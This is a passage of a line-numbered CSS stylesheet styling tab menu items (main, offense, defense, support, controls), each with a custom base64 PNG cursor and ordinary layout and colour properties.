ZOBt05sZfvVuvn7hG6ySegWmmlxYEVmdIlpWfWCtQH0YppVtC9P/xDaO9f30lhPHDhVX0rAG1HSw+xsHXMj405IJM5u6CJwHqzL2oz7V3JR+0se/A7lotOkhzJWDqNWE0Df8IpBEwQGBooeNdXvDF99eIN4tCt5z6FbZEJ7eyMqFIm/MiJrnZXTqJAR2xXQfLQRJp3uLYqgbNAEZCikKRtD3SBnaH6DoWBpHph62SYrsU0meVsqk0oV6O31ZWxsWHp+gO6V/BMCuLi4SOzt7SXPv0RfMLaqqqrzyT0rGjVD6a+NiT447QPB+f2fdSGSNwBPXhkAAAAASUVORK5CYII=") 6 0, auto !important;
1765 color: #d15151;
1766 }
1767 .i-tab-menu-item:hover {
1768 background-color: rgb(77, 73, 73) !important;
1769 }
1770 #mm-main-menu-item {
1771 user-select: none;
1772 cursor: url("data:image/png;base64,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") 6 0, auto !important;
1773 color: #fff;
1774 font-family: Verdana,sans-serif;
1775 box-sizing: border-box;
1776 float: left;
1777 background-color: inherit;
1778 padding: 8px 8px;
1779 margin: 0;
1780 border: none;
1781 font-size: 14px;
1782 text-align: center;
1783 outline: 0;
1784 transition: .3s;
1785 width: 100%;
1786 }
1787 #mm-offense-menu-item {
1788 user-select: none;
1789 cursor: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAFqElEQVRIS61WCVATZxT+NiQBAgoeiAINETlaEJlKp1qlorVKAS9MdcaKoAJeMEW8Ci0V2zrGKaNjvQtjRVTaKVKookirU4VR6VRaRcGoKBCOMUAm4Qgs5Ni+jaKCtkOPnfmz++++/b73vndsGAw43N3dw11dXbNFItHQmpqaXWKxOK26urpnoN1g98zzhp6enkM5jsvMyspa7O3tjYSEBENZWdmU+vr664MFHGjXj8DDw0Pq6Oh4IS8vz0smkyE7OxsKhaJSqVSO/18I3NzcXO3s7M4WFhYGUDQwmUwICQmBTqcTl5eXG/4NSb8InJ2d7Uii/SUlJct9fHwseMHBwaitrZ2lUqku/GcCAmBImm3FxcVb+RzwR3x8PIqKin5mGEZjNpv9BQJB3sOHD9MoQmuDwTBRKBQ+oKP5r8j7RcAbUR5SYmNjt6ekpAj4/bWr1xAVHYWFEXLIFyxEYlIi1C3qNqmbVNKj7xGxvSw62c5FVGn5JLFDQ0NDG71m6iN8gWDs2LFvCoSCgvvK6jEwAt1sN2bOfgcZezLh5z4e9x7cxfRFwbiUcxleDj64WXUDa3et5pp1zemsgfUTi8S3VbWq5H4EJEsISRBJay+F/zv1QkXNvRpfTs+AsQLemB6IIzu+wQRZAO7eV+LdtTNxMf0SvJy8ADOHsM/fQ3tHBzKWHsXK7GVo6WyeUldXd40nYUjruFFOozJ8X/XFrcpbUDerD1Kig9I/S58QMU0OUO2Ex4RCsW4n/KUBUDWokHxoC9KjdmO0vQsYDlh7NA7Rk2IwceRkyI+F4Y66chUVRaaFYOqUqVxWxjF4uIyDVqPFxk+SUPpbaZ2/l7/7D18WgOslIyIxd5M19TO/tyy6NvNnesaZzDD2CKisgWW583BbffMZQdDUIO74gZOQDpNaALRaLeYlzIHISmSRget6DAYCswDywDwoXZsoR2ZaRv5spjOtFflzoWypeEYglUq3REZEKj6N3ioQG60tAHWtNVAcVeBgzNfgWAZG1oRHukYMFzpbwBu0KjjbusNs4tDS1QwHaxeYGQGvJpbnzkBTW+1SykFOXw5G6vX6nMT3189KCtv02FveS3KHYwUWCVrbNIjPi8HWGTvJUwGWfB+O4/LzMBCbojQZ22ZnQiIZjl4BhzUnp6GlvdGPclBlIeB/qDSdRULRlYKNZ8Z52Hlbwufl4L3lZWjt0GD9uVgkBylghgArSYbDEYWkmhG7S1OwOfQwrO2GwWzDIJWSfLX8orCvF572AZVmqJvjK+dOrSiEBA4WbfmkGWlpujTYXByLpLd3UAcJkFAwF+mLzlgIDl3+GGvmH4RwyDDcayrDd6e3tFbcLnd6aaP5ePpkxk/eELtkfBwBk/ZUgkaOQyurQepPsVgznQjIpeS8BUj9oICUNOL4xVQsWbwfJhsRzp5Og7KyiPRvsOj/VKK+DY0JryGiIZczF+aPGSGRkYccDKRrS48GivOrsGzmFzBS4ym+lSM+5pSFIL8oDWHRe9DaXovijMSsNm1rglqt1v/dqIjp6OnYlxNVZuvgKAVLBHqGxbkbR/CaXyg4G2tcKj+B14Mj0WHsQGVVMWRBc/DjplmNjJVwLlXPH88Pvhdm0ZOBt05sZfvVuvn7hG6ySegWmmlxYEVmdIlpWfWCtQH0YppVtC9P/xDaO9f30lhPHDhVX0rAG1HSw+xsHXMj405IJM5u6CJwHqzL2oz7V3JR+0se/A7lotOkhzJWDqNWE0Df8IpBEwQGBooeNdXvDF99eIN4tCt5z6FbZEJ7eyMqFIm/MiJrnZXTqJAR2xXQfLQRJp3uLYqgbNAEZCikKRtD3SBnaH6DoWBpHph62SYrsU0meVsqk0oV6O31ZWxsWHp+gO6V/BMCuLi4SOzt7SXPv0RfMLaqqqrzyT0rGjVD6a+NiT447QPB+f2fdSGSNwBPXhkAAAAASUVORK5CYII=") 6 0, auto !important;
1790 color: #fff;
1791 font-family: Verdana,sans-serif;
1792 box-sizing: border-box;
1793 float: left;
1794 background-color: inherit;
1795 padding: 8px 8px;
1796 margin: 0;
1797 border: none;
1798 font-size: 14px;
1799 text-align: center;
1800 outline: 0;
1801 transition: .3s;
1802 width: 100%;
1803 }
1804
1805 #mm-defense-menu-item {
1806 user-select: none;
1807 cursor: url("data:image/png;base64,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") 6 0, auto !important;
1808 color: #fff;
1809 font-family: Verdana,sans-serif;
1810 box-sizing: border-box;
1811 float: left;
1812 padding: 8px 8px;
1813 margin: 0;
1814 border: none;
1815 font-size: 14px;
1816 text-align: center;
1817 outline: 0;
1818 transition: .3s;
1819 width: 100%;
1820 }
1821
1822 #mm-support-menu-item {
1823 user-select: none;
1824 cursor: url("data:image/png;base64,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") 6 0, auto !important;
1825 color: #fff;
1826 font-family: Verdana,sans-serif;
1827 box-sizing: border-box;
1828 float: left;
1829 background-color: inherit;
1830 padding: 8px 8px;
1831 margin: 0;
1832 border: none;
1833 font-size: 14px;
1834 text-align: center;
1835 outline: 0;
1836 transition: .3s;
1837 width: 100%;
1838 }
1839
1840 #mm-support-menu-item {
1841 user-select: none;
1842 cursor: url("data:image/png;base64,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") 6 0, auto !important;
1843 color: #fff;
1844 font-family: Verdana,sans-serif;
1845 box-sizing: border-box;
1846 float: left;
1847 background-color: inherit;
1848 padding: 8px 8px;
1849 margin: 0;
1850 border: none;
1851 font-size: 14px;
1852 text-align: center;
1853 outline: 0;
1854 transition: .3s;
1855 width: 100%;
1856 }
1857
1858 .i-tab-menu-item {
1859 user-select: none;
1860 cursor: url("data:image/png;base64,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") 6 0, auto !important;
1861 color: #fff;
1862 font-family: Verdana,sans-serif;
1863 box-sizing: border-box;
1864 float: left;
1865 background-color: inherit;
1866 padding: 8px 8px;
1867 margin: 0;
1868 border: none;
1869 font-size: 14px;
1870 text-align: center;
1871 outline: 0;
1872 transition: .3s;
1873 width: 100%;
1874 }
1875
1876 #mm-controls-menu-item {
1877 user-select: none;
1878 cursor: url("data:image/png;base64,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") 6 0, auto !important;
1879 color: #fff;
